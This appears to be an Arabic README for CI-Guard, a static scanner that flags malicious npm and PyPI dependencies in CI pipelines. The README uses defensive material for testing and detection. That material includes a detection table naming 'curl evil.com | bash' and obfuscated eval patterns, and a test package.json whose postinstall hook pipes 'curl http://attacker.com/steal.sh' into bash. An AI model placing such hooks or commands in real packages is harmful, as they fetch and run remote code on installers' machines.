
أداة تحليل ثابتة تكتشف التبعيات الخبيثة في خطوط أنابيب CI/CD باستخدام مطابقة الأنماط وتحليل AST، مع نظام ترتيب مخاطر بتدرج ألوان إشارة المرور وإمكانية التحقق الاختياري باستخدام حاوية Docker معزولة.
أداة تحليل ثابتة للكشف عن التبعيات الضارة في خطوط CI/CD قبل دمجها في قاعدة الكود الخاصة بك.
المؤلف: Otsmane Ahmed
الحالة: نموذج أولي بحثي v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
ستقوم الأداة بإخراج حكم: SAFE أو أو .
SUSPICIOUSBLOCKEDإذا قمت بتنزيل حزمة من npm أو PyPI وتريد التحقق من أنها آمنة:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
تحقق من الحزم المثبتة بالفعل في مشروعك:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
ملاحظة: فحص الأدلة الكبيرة مثل node_modules سيستغرق وقتًا أطول. للحصول على نتائج أسرع، افحص الحزم الفردية.
مثال على سير عمل GitHub Actions:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
سيفشل خط الأنابيب (رمز الخروج 1) إذا تم اكتشاف كود ضار.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
لم يتم اكتشاف أنماط ضارة.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
تم اكتشاف أنماط خطيرة (مثل حقن الأوامر، سرقة بيانات الاعتماد). لا تقم بتثبيت هذه الحزمة.
يتم حظر الحزم التي تحصل على درجة 10 أو أعلى تلقائيًا.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
تم العثور على بعض الأنماط المقلقة. إذا كان Docker قيد التشغيل، سيتم اختبار الحزمة في صندوق رمل معزول للتحقق. يُوصى بالمراجعة اليدوية.
| نوع الهجوم | مثال | الحالة |
|---|---|---|
| حقن الأوامر | curl evil.com | bash | تم الكشف |
| سرقة بيانات الاعتماد | قراءة process.env وإرسالها إلى خادم خارجي | تم الكشف |
| تشويش الكود | eval(atob('base64...')) | تم الكشف |
| نصوص التثبيت الضارة | روابط NPM postinstall | تم الكشف |
| الملفات الثنائية | .exe, .dll في الحزم | تم الكشف |
| انتحال الاسم | أسماء مشابهة لحزم شهيرة | مطلوب فحص يدوي |
يمكنك اختبار CI-Guard عن طريق إنشاء حزمة ضارة عينة:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
المخرجات المتوقعة:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| النظام البيئي | الحزم المختبرة | معدل الكشف |
|---|---|---|
| NPM | 15,059 | 89.6% |
| PyPI | 2,257 | 82.2% |
متوسط وقت الفحص: 1-3 ثوانٍ لكل حزمة (التحليل الثابت فقط)
هل يمكنني فحص الحزم المثبتة بالفعل؟
نعم. وجه CI-Guard إلى دليل node_modules الخاص بك أو site-packages الخاص بـ Python:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
ماذا لو تم وضع علامة على حزمة شرعية؟
CI-Guard يخطئ في جانب الحذر. إذا كنت تثق في حزمة تم وضع علامة عليها:
analyzer/static_scanner.pyهل يعمل هذا على Windows و macOS؟
نعم. Python و Docker متعددان المنصات.
هل أحتاج إلى تثبيت Docker؟
Docker مطلوب فقط للحزم التي تسجل 4-9 (مشبوهة). معظم الحزم إما آمنة بوضوح (0-3) أو ضارة بوضوح (10+).
يستخدم CI-Guard نظام "إشارات المرور" ثلاثي المستويات:
طرق الكشف:
نرحب بطلبات السحب. لإضافة قاعدة كشف جديدة:
قم بتحرير analyzer/static_scanner.py وأضف إلى قائمة RULES:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
رخصة MIT - انظر ملف LICENSE للتفاصيل.
Otsmane Ahmed - GitHub